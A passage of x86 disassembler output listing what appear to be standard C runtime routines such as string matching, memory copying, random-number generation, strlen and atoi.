loc_4103D7:				; CODE XREF: sub_4103A6+2Aj
		test	edi, edi
		jnz	short loc_410418
		cmp	bl, 2Dh
		jnz	short loc_41040C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_41040C
		cmp	al, 5Dh
		jz	short loc_41040C
		cmp	[ebp+var_4], edi
		jnz	short loc_41040C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_410418
		cmp	bl, al
		jg	short loc_410418
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_410418
; ---------------------------------------------------------------------------


loc_41040C:				; CODE XREF: sub_4103A6+38j
					; sub_4103A6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_410418
		push	1
		pop	edi


loc_410418:				; CODE XREF: sub_4103A6+33j
					; sub_4103A6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4103C9
; ---------------------------------------------------------------------------


loc_410423:				; CODE XREF: sub_4103A6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_410430
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_410430:				; CODE XREF: sub_4103A6+82j
		cmp	edi, eax
		jnz	short loc_410439
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_410439:				; CODE XREF: sub_4103A6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4103A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043E	proc near		; CODE XREF: sub_410310+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_41045A:				; CODE XREF: sub_41043E+3Aj
		cmp	[eax], bl
		jz	short loc_41047A
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_41046F
		cmp	cl, 2Ah
		jnz	short loc_41047A
		cmp	cl, 3Fh
		jnz	short loc_410472


loc_41046F:				; CODE XREF: sub_41043E+25j
		inc	eax
		mov	[edi], eax


loc_410472:				; CODE XREF: sub_41043E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_41045A
; ---------------------------------------------------------------------------


loc_41047A:				; CODE XREF: sub_41043E+1Ej
					; sub_41043E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_410485
		inc	dword ptr [esi]
		jmp	short loc_41047A
; ---------------------------------------------------------------------------


loc_410485:				; CODE XREF: sub_41043E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_4104A6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_410497
		xor	eax, eax
		jmp	short loc_410506
; ---------------------------------------------------------------------------


loc_410497:				; CODE XREF: sub_41043E+53j
		cmp	cl, bl
		jnz	short loc_4104A6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_4104A6
		push	1
		pop	eax
		jmp	short loc_410506
; ---------------------------------------------------------------------------


loc_4104A6:				; CODE XREF: sub_41043E+4Dj
					; sub_41043E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_410310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4104F0


loc_4104B4:				; CODE XREF: sub_41043E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_4104B8:				; CODE XREF: sub_41043E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_4104D0
		cmp	cl, 5Bh
		jz	short loc_4104D0
		cmp	dl, bl
		jz	short loc_4104D0
		inc	eax
		mov	[edi], eax
		jmp	short loc_4104B8
; ---------------------------------------------------------------------------


loc_4104D0:				; CODE XREF: sub_41043E+82j
					; sub_41043E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4104E7
		push	eax
		push	dword ptr [esi]
		call	sub_410310
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4104EC
; ---------------------------------------------------------------------------


loc_4104E7:				; CODE XREF: sub_41043E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4104EC:				; CODE XREF: sub_41043E+A7j
		cmp	eax, ebx
		jnz	short loc_4104B4


loc_4104F0:				; CODE XREF: sub_41043E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_410503
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_410503
		mov	[ebp+var_4], 1


loc_410503:				; CODE XREF: sub_41043E+B6j
					; sub_41043E+BCj
		mov	eax, [ebp+var_4]


loc_410506:				; CODE XREF: sub_41043E+57j
					; sub_41043E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41043E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41050B	proc near		; CODE XREF: start+61p
					; seg000:00401496p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_412C3C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41054B
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_410558
; ---------------------------------------------------------------------------


loc_41054B:				; CODE XREF: sub_41050B+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_412B27
		pop	ecx
		pop	ecx


loc_410558:				; CODE XREF: sub_41050B+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41050B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41055D	proc near		; CODE XREF: start+2Ep
					; seg000:00401C1Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_42E148, eax
		retn
sub_41055D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410567	proc near		; CODE XREF: seg000:0040117Dp
					; seg000:004011F1p ...
		mov	eax, ds:dword_42E148
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_42E148, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_410567	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410590	proc near		; CODE XREF: seg000:0040194Fp
					; seg000:00401AC7p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4105E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4105D7
		neg	ecx
		and	ecx, 3
		jz	short loc_4105B9
		sub	edx, ecx


loc_4105B3:				; CODE XREF: sub_410590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4105B3


loc_4105B9:				; CODE XREF: sub_410590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4105D7
		rep stosd
		test	edx, edx
		jz	short loc_4105DD


loc_4105D7:				; CODE XREF: sub_410590+18j
					; sub_410590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4105D7


loc_4105DD:				; CODE XREF: sub_410590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4105E3:				; CODE XREF: sub_410590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_410590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105F0	proc near		; CODE XREF: seg000:00401A73p
					; seg000:00401A84p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_410610
		cmp	edi, eax
		jb	loc_410788


loc_410610:				; CODE XREF: sub_4105F0+16j
		test	edi, 3
		jnz	short loc_41062C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41064C
		rep movsd
		jmp	ds:off_410738[edx*4]
; ---------------------------------------------------------------------------


loc_41062C:				; CODE XREF: sub_4105F0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_410644
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41064C+4[eax*4]
; ---------------------------------------------------------------------------


loc_410644:				; CODE XREF: sub_4105F0+46j
		jmp	dword ptr ds:loc_410748[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41064C:				; CODE XREF: sub_4105F0+31j
					; sub_4105F0+8Ej ...
		jmp	ds:off_4106CC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_410660
		dd offset loc_41068C
		dd offset loc_4106B0
; ---------------------------------------------------------------------------


loc_410660:				; DATA XREF: sub_4105F0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41064C
		rep movsd
		jmp	ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41068C:				; DATA XREF: sub_4105F0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41064C
		rep movsd
		jmp	ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4106B0:				; DATA XREF: sub_4105F0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41064C
		rep movsd
		jmp	ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4106CC	dd offset loc_41072F	; DATA XREF: sub_4105F0:loc_41064Cr
		dd offset loc_41071C
		dd offset loc_410714
		dd offset loc_41070C
		dd offset loc_410704
		dd offset loc_4106FC
		dd offset loc_4106F4
		dd offset loc_4106EC
; ---------------------------------------------------------------------------


loc_4106EC:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4106F4:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4106FC:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_410704:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41070C:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_410714:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41071C:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41072F:				; CODE XREF: sub_4105F0:loc_41064Cj
					; DATA XREF: sub_4105F0:off_4106CCo
		jmp	ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_410738	dd offset loc_410748	; DATA XREF: sub_4105F0+35r
					; sub_4105F0+92r ...
		dd offset loc_410750
		dd offset loc_41075C
		dd offset loc_410770
; ---------------------------------------------------------------------------


loc_410748:				; CODE XREF: sub_4105F0+35j
					; sub_4105F0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_410750:				; CODE XREF: sub_4105F0+35j
					; sub_4105F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41075C:				; CODE XREF: sub_4105F0+35j
					; sub_4105F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_410770:				; CODE XREF: sub_4105F0+35j
					; sub_4105F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410788:				; CODE XREF: sub_4105F0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4107BC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4107B0
		std
		rep movsd
		cld
		jmp	ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4107B0:				; CODE XREF: sub_4105F0+1B1j
					; sub_4105F0+208j ...
		neg	ecx
		jmp	dword ptr ds:loc_41087F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4107BC:				; CODE XREF: sub_4105F0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4107D4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4107D4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4107D4:				; CODE XREF: sub_4105F0+1D6j
					; DATA XREF: sub_4105F0+1DDr
		jmp	ds:off_4108D0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4107E8
; ---------------------------------------------------------------------------
		or	[eax], cl
		inc	ecx
		add	[eax], dh
		or	[ecx+0], al


loc_4107E8:				; DATA XREF: sub_4105F0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4107B0
		std
		rep movsd
		cld
		jmp	ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4107B0
		std
		rep movsd
		cld
		jmp	ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4107B0
		std
		rep movsd
		cld
		jmp	ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		test	[eax], cl
		inc	ecx
		add	[eax+ecx+8940041h], cl
		inc	ecx
		add	[eax+ecx+8A40041h], bl
		inc	ecx
		add	[eax+ecx+8B40041h], ch
		inc	ecx


loc_41087F:				; DATA XREF: sub_4105F0+1C2r
		add	bh, al
		or	[ecx+0], al
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4108C7:				; CODE XREF: sub_4105F0+1C2j
		jmp	ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4108D0	dd offset loc_4108E0	; DATA XREF: sub_4105F0+1B7r
					; sub_4105F0:loc_4107D4r ...
		dd offset loc_4108E8
		dd offset loc_4108F8
		dd offset loc_41090C
; ---------------------------------------------------------------------------


loc_4108E0:				; CODE XREF: sub_4105F0+1B7j
					; sub_4105F0:loc_4107D4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4108E8:				; CODE XREF: sub_4105F0+1B7j
					; sub_4105F0:loc_4107D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4108F8:				; CODE XREF: sub_4105F0+1B7j
					; sub_4105F0:loc_4107D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41090C:				; CODE XREF: sub_4105F0+1B7j
					; sub_4105F0:loc_4107D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4105F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410930	proc near		; CODE XREF: seg000:004011AEp
					; seg000:004011CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41097C


loc_410940:				; CODE XREF: sub_410930+3Cj
					; sub_410930+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_410974
		or	al, al
		jz	short loc_410970
		cmp	ah, [ecx+1]
		jnz	short loc_410974
		or	ah, ah
		jz	short loc_410970
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_410974
		or	al, al
		jz	short loc_410970
		cmp	ah, [ecx+3]
		jnz	short loc_410974
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_410940
		mov	edi, edi


loc_410970:				; CODE XREF: sub_410930+18j
					; sub_410930+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410974:				; CODE XREF: sub_410930+14j
					; sub_410930+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41097C:				; CODE XREF: sub_410930+Ej
		test	edx, 1
		jz	short loc_410998
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_410974
		inc	ecx
		or	al, al
		jz	short loc_410970
		test	edx, 2
		jz	short loc_410940


loc_410998:				; CODE XREF: sub_410930+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_410974
		or	al, al
		jz	short loc_410970
		cmp	ah, [ecx+1]
		jnz	short loc_410974
		or	ah, ah
		jz	short loc_410970
		add	ecx, 2
		jmp	short loc_410940
sub_410930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4109C0	proc near		; CODE XREF: seg000:004019E5p
					; sub_41578D+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4109D9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4109D9:				; CODE XREF: sub_4109C0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4109C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4109F4	proc near		; CODE XREF: sub_410A7F+4p
					; seg000:00418D24p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4109FC:				; CODE XREF: sub_4109F4+34j
		cmp	ds:dword_42E39C, 1
		jle	short loc_410A14
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_410A23
; ---------------------------------------------------------------------------


loc_410A14:				; CODE XREF: sub_4109F4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_42E190
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_410A23:				; CODE XREF: sub_4109F4+1Ej
		test	eax, eax
		jz	short loc_410A2A
		inc	edi
		jmp	short loc_4109FC
; ---------------------------------------------------------------------------


loc_410A2A:				; CODE XREF: sub_4109F4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_410A3A
		cmp	esi, 2Bh
		jnz	short loc_410A3E


loc_410A3A:				; CODE XREF: sub_4109F4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_410A3E:				; CODE XREF: sub_4109F4+44j
		xor	ebx, ebx


loc_410A40:				; CODE XREF: sub_4109F4+7Bj
		cmp	ds:dword_42E39C, 1
		jle	short loc_410A55
		push	4
		push	esi
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_410A60
; ---------------------------------------------------------------------------


loc_410A55:				; CODE XREF: sub_4109F4+53j
		mov	eax, ds:off_42E190
		mov	al, [eax+esi*2]
		and	eax, 4


loc_410A60:				; CODE XREF: sub_4109F4+5Fj
		test	eax, eax
		jz	short loc_410A71
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_410A40
; ---------------------------------------------------------------------------


loc_410A71:				; CODE XREF: sub_4109F4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_410A7A
		neg	eax


loc_410A7A:				; CODE XREF: sub_4109F4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4109F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A7F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4109F4
		pop	ecx
		retn
sub_410A7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A8A	proc near		; CODE XREF: seg000:00402036p
					; sub_402AD2+69p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_412C3C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_410AC9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_410AD6
; ---------------------------------------------------------------------------


loc_410AC9:				; CODE XREF: sub_410A8A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_412B27
		pop	ecx
		pop	ecx


loc_410AD6:				; CODE XREF: sub_410A8A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_410A8A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410AE0	proc near		; CODE XREF: seg000:00401EAEp
					; seg000:00401ECEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_410B5A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_410B47


loc_410AF8:				; CODE XREF: sub_410AE0+52j
					; sub_410AE0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_410B1A
		test	al, al
		jz	short loc_410B14


loc_410B09:				; CODE XREF: sub_410AE0+32j
		mov	al, [esi]
		inc	esi


loc_410B0C:				; CODE XREF: sub_410AE0+3Fj
		cmp	al, dl
		jz	short loc_410B1A
		test	al, al
		jnz	short loc_410B09


loc_410B14:				; CODE XREF: sub_410AE0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410B1A:				; CODE XREF: sub_410AE0+23j
					; sub_410AE0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_410B0C
		lea	edi, [esi-1]


loc_410B24:				; CODE XREF: sub_410AE0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_410B53
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_410AF8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_410B53
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_410B24
		jmp	short loc_410AF8
; ---------------------------------------------------------------------------


loc_410B47:				; CODE XREF: sub_410AE0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_412766
; ---------------------------------------------------------------------------


loc_410B53:				; CODE XREF: sub_410AE0+49j
					; sub_410AE0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_410B5A:				; CODE XREF: sub_410AE0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_410AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B60	proc near		; CODE XREF: sub_402306+7p
					; sub_402930+124p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_410B80


loc_410B6C:				; CODE XREF: sub_410B60+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_410BB3
		test	ecx, 3
		jnz	short loc_410B6C
		add	eax, 0


loc_410B80:				; CODE XREF: sub_410B60+Aj
					; sub_410B60+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_410B80
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_410BD1
		test	ah, ah
		jz	short loc_410BC7
		test	eax, 0FF0000h
		jz	short loc_410BBD
		test	eax, 0FF000000h
		jz	short loc_410BB3
		jmp	short loc_410B80
; ---------------------------------------------------------------------------


loc_410BB3:				; CODE XREF: sub_410B60+11j
					; sub_410B60+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_410BBD:				; CODE XREF: sub_410B60+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_410BC7:				; CODE XREF: sub_410B60+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_410BD1:				; CODE XREF: sub_410B60+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_410B60	endp

; ---------------------------------------------------------------------------
		align 10h

